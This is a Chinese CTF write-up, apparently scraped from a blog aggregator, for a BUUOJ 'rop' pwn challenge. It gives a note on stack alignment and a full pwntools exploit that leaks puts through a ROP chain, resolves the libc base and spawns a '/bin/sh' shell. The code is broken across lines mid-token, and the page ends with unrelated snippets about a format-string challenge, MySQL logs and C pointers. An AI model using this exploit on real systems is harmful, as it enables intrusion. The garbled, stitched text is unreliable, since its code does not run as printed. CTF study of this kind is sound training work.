保護。
啥沒有。
在除錯過程中發現最後會出問題,然後gdb.attach貼上以後開始調。
這個地方卡住是因為沒有棧對齊,你可以看到此時rsp是78,但是他要求16位對齊,最後得是0,所以需要在system位址前面加上個ret。
具體的看下面的wp
exp
from pwn import
*context.log_level =
"debug"
#r = remote('node3.buuoj.cn', 28222)
r = process(
'./rop'
)elf = elf(
'./rop'
)libc = elf(
'./libc-2.271.so'
)gdb.attach(r)
puts_plt = elf.plt[
'puts'
]puts_got = elf.got[
'puts'
]pop_rdi =
0x4005d3
main_addr =
0x400537
ret_addr =
0x400562
r.recvline(
)payload =
'a'*
18+ p64(pop_rdi)
+ p64(puts_got)
+ p64(puts_plt)
+ p64(main_addr)
r.sendline(payload)
#print(r.recvline())
puts_addr = u64(r.recv(6)
.ljust(8,
'\x00'))
#puts_addr = u64(r.recvuntil('\n')[:-1].ljust(8,'\x00'))
print
hex(puts_addr)
libc_base = puts_addr - libc.sym[
'puts'
]system_addr = libc_base + libc.sym[
'system'
]bin_sh = libc_base + libc.search(
'/bin/sh').
next()
print
hex(libc_base)
print
hex(system_addr)
print
hex(bin_sh)
info(
"libc:0x%x"
,libc_base)
payload =
'a'*
18+ p64(pop_rdi)
+ p64(bin_sh)
+ p64(system_addr)
#payload = 'a' * 18 + p64(pop_rdi) + p64(bin_sh) + p64(ret_addr) + p64(system_addr)
r.sendline(payload)
r.interactive(
)
buuoj 第六章 CTF之PWN章 fsb
瞅瞅檢查 開了nx canary跟pie。relro沒有開,可以考慮劫持got表。進去是個迴圈 裡面是個格式化字串漏洞。因為它開的空間是堆上的,所以常規棧上的格式化字串漏洞不能用。非棧上的格式化字串漏洞 非棧上的格式化字串漏洞的話,先在printf處下斷點。總體思路 滿足利用要求的三個指標分別在pr...
mysql第六章 第六章 mysql日誌
第六章 mysql日誌 一 錯誤日誌 錯誤日誌的預設存放路徑是 mysql 存放資料的地方 hostname.err 1.修改錯誤日誌存放路徑 mysqld log error data mysql mysql.log 2.檢視配置命令 show variables like log error 3...
第六章 指標
1.多位元組資料的位址是在最左邊還是最右邊的位置,不同的機器有不同的規定,這也正是大端和小端的區別,位址也要遵從邊界對齊 2.高階語言的乙個特性就是通過名字而不是位址來訪問記憶體的位置,但是硬體仍然通過位址訪問記憶體位置 3.記憶體中的變數都是義序列的0或1的位,他們可以被解釋為整數或者其他,這取決...